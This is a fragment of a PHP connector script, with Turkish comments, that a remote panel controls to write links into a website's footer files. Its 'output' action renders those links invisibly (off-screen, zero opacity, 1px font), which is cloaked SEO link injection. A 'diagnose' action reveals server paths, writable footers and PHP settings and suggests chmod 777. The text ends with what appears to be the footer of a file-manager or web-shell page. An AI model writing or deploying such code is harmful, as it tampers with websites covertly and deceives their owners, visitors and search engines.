$expected_token = defined('SETUP_TOKEN') ? SETUP_TOKEN : ''; // Setup token kontrolü if (empty($expected_token) || strpos($expected_token, '{{') !== false) { respond(false, [], 'Setup token yapılandırılmamış'); } if (empty($setup_token) || $setup_token !== $expected_token) { respond(false, [], 'Geçersiz setup token'); } // Mevcut key'i al veya yeni oluştur $current_key = $stored_key; if (empty($current_key)) { // Yeni key oluştur $current_key = strtoupper(bin2hex(random_bytes(16))); if (!save_key($current_key)) { respond(false, [], 'Key oluşturulamadı - dosya izinlerini kontrol edin'); } } $site_info = detect_site_info(); respond(true, [ 'site_key' => $current_key, 'name' => $site_info['domain'] ?? $_SERVER['HTTP_HOST'], 'site_type' => $site_info['site_type'] ?? 'php', 'language' => $site_info['language'] ?? 'TR', 'country' => $site_info['country'] ?? 'TR', 'category' => $site_info['category'] ?? 'General' ], 'Key alındı'); break; case 'info': $site_info = detect_site_info(); respond(true, $site_info, 'Site bilgisi'); break; case 'get_links': $links = get_links(); respond(true, ['links' => array_values($links), 'total' => count($links)], 'Linkler'); break; case 'add_link': $url = $req['url'] ?? ''; $anchor = $req['anchor'] ?? ''; $rel = normalize_rel($req['rel'] ?? 'dofollow'); if (empty($url) || empty($anchor)) { respond(false, [], 'URL ve anchor gerekli'); } // Link ID oluştur $link_id = 'lnk_' . substr(md5(uniqid(mt_rand(), true)), 0, 12); // Links dosyasına kaydet $links = get_links(); $links[$link_id] = [ 'id' => $link_id, 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'created' => time() ]; save_links($links); // Footer'a enjekte et $result = inject_link($url, $anchor, $link_id, $rel); respond(true, [ 'link_id' => $link_id, 'injected' => $result['success'], 'footer_path' => $result['footer_path'] ?? null, 'message' => $result['message'] ?? '' ], $result['message'] ?? 'Link eklendi'); break; case 'remove_link': $link_id = $req['link_id'] ?? ''; if (empty($link_id)) { respond(false, [], 'link_id gerekli'); } // Links dosyasından kaldır $links = get_links(); if (isset($links[$link_id])) { unset($links[$link_id]); save_links($links); } // Footer'dan kaldır $result = remove_link($link_id); respond(true, [ 'removed' => true, 'message' => $result['message'] ?? '' ], 'Link kaldırıldı'); break; case 'sync_links': $new_links = $req['links'] ?? []; if (!is_array($new_links)) { respond(false, [], 'links array olmalı'); } // Mevcut linkleri al $current_links = get_links(); $current_ids = array_keys($current_links); $new_ids = array_column($new_links, 'id'); // Silinecek linkler $to_remove = array_diff($current_ids, $new_ids); foreach ($to_remove as $link_id) { remove_link($link_id); } // Eklenecek linkler $to_add = array_diff($new_ids, $current_ids); foreach ($new_links as $link) { if (in_array($link['id'], $to_add)) { inject_link($link['url'], $link['anchor'], $link['id'], $link['rel'] ?? 'dofollow'); } } // Links dosyasını güncelle $formatted_links = []; foreach ($new_links as $link) { $formatted_links[$link['id']] = $link; } save_links($formatted_links); respond(true, [ 'synced' => true, 'added' => count($to_add), 'removed' => count($to_remove), 'total' => count($new_links) ], 'Linkler senkronize edildi'); break; case 'output': // Links dosyasından okunan linkleri HTML olarak çıktı ver // Bu endpoint iframe ile siteye embed edilebilir header('Content-Type: text/html; charset=UTF-8'); $links = get_links(); $html = ''; foreach ($links as $link) { $u = isset($link['url']) ? htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8') : ''; $a = isset($link['anchor']) ? htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8') : ''; $r = (isset($link['rel']) && $link['rel'] === 'nofollow') ? ' rel="nofollow"' : ''; if ($u && $a) { $html .= '<a href="' . $u . '"' . $r . ' style="position:absolute;left:-9999px;opacity:0;font-size:1px;">' . $a . '</a>'; } } echo $html; exit; case 'diagnose': // Tam sistem diagnostiği - sorun tespiti için $base = find_document_root(); $site_info = detect_site_info(); $diag = [ 'php_version' => phpversion(), 'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown', 'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? 'N/A', 'script_path' => __FILE__, 'script_dir' => dirname(__FILE__), 'base_detected' => $base, 'file_permissions' => [ 'key_file' => KEY_FILE, 'key_file_exists' => file_exists(KEY_FILE), 'key_file_writable' => is_writable(dirname(KEY_FILE)), 'links_file' => LINKS_FILE, 'links_file_exists' => file_exists(LINKS_FILE), 'config_file' => CONFIG_FILE, 'config_file_exists' => file_exists(CONFIG_FILE), ], 'site_info' => $site_info, 'footer_analysis' => [ 'footer_paths_found' => get_footer_paths($base, $site_info['site_type']), 'writable_footers' => array_filter(get_footer_paths($base, $site_info['site_type']), 'is_writable'), ], 'panel_config' => [ 'panel_url_set' => defined('PANEL_API_URL') && strpos(PANEL_API_URL, '{{') === false, 'site_key_set' => !empty(get_stored_key()), 'setup_token_set' => defined('SETUP_TOKEN') && strpos(SETUP_TOKEN, '{{') === false, ], 'php_functions' => [ 'file_get_contents' => function_exists('file_get_contents'), 'file_put_contents' => function_exists('file_put_contents'), 'json_encode' => function_exists('json_encode'), 'hash_hmac' => function_exists('hash_hmac'), 'glob' => function_exists('glob'), ], 'php_settings' => [ 'open_basedir' => ini_get('open_basedir') ?: 'Not set', 'allow_url_fopen' => ini_get('allow_url_fopen'), 'max_execution_time' => ini_get('max_execution_time'), ], 'recommendations' => [] ]; // Öneriler ekle if (!$diag['file_permissions']['key_file_writable']) { $diag['recommendations'][] = 'KRITIK: Connector dizini yazılabilir değil. chmod 755 veya 777 deneyin.'; } if (empty($diag['footer_analysis']['writable_footers'])) { $diag['recommendations'][] = 'UYARI: Yazılabilir footer dosyası bulunamadı. Link enjeksiyonu manuel yapılmalı.'; } if (!$diag['panel_config']['panel_url_set']) { $diag['recommendations'][] = 'HATA: Panel URL yapılandırılmamış. Connector\'ı panelden indirin.'; } if (!$diag['php_settings']['allow_url_fopen']) { $diag['recommendations'][] = 'UYARI: allow_url_fopen kapalı. Otomatik bağlantı çalışmayabilir.'; } respond(true, $diag, 'Sistem diagnostiği tamamlandı'); break; default: respond(false, [], 'Bilinmeyen action: ' . $action); }
| ver. 1.4 |
Github
|
.
| PHP 8.0.30 | Generation time: 0.02 |
proxy
|
phpinfo
|
Settings